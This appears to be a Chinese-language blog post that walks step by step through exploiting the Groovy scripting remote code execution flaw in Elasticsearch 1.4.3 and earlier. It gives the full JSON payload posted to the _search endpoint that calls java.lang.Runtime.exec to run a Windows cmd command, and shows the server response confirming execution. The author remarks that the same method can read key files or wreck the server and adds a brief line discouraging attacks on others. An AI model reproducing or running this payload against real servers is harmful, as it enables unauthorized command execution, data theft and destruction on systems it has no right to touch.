ElasticSearch1.4.3以下有几个版本可以执行groovy脚本,这个被利用后可以直接调用Widows的cmd命令和Linux的shell。网上有一些文章,但是写的不够接地气,这里我复现了这个漏洞的攻击过程,重新写下。
第一步:安装Firefox的Hackbar插件,安装好好,如图所示:
第二步:在浏览器地址栏敲::9200/_search?pretty,注意这里可以是你自己全文检索服务器的IP和端口号,然后点击回车;
第三步:选择Enable Post data这个复选框,然后将以下脚本填入Post data选项:
{
"size":1,
"script_fields": {
"test#": {
"script": "Java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cmd /c copy c:\\\\error.txt d:\\\\zhaich.txt \")", "lang":"groovy"
}
}
}
第四步:单击左侧的“Execute“按钮。
第五步:查看结果:
{
"took" : 36,
"timed_out" : false,
"_shards" : {
"total" : 10,
"successful" : 10,
"failed" : 0
},
"hits" : {
"total" : 3357,
"max_score" : 1.0,
"hits" : [ {
"_index" : "shopinfo",
"_type" : "shopinfo",
"_id" : "0EyqahDXQjSReepWJP2iYw",
"_score" : 1.0,
"fields" : {
"test#" : [ "java.lang.ProcessImpl@7b0a3486" ]
}
} ]
}
}
这代码说明代码执行成功,也就是说如果服务器上运行elasticsearch的用户有多大权限,这个cmd或者shell就能完成多大权限的功能。这里是拷贝记事本,如果是换成读取文件也是可以的,这样就可以获取服务器上的关键文件,也可以摧毁服务器(当然了一般都不会这样搞,岂不是断了自己的”财路“)。
好了,以上就是基本的攻击攻击过程。希望大家注意,切不要用来攻击别人,可以作安全试验。整个和struts之前的漏洞非常类似。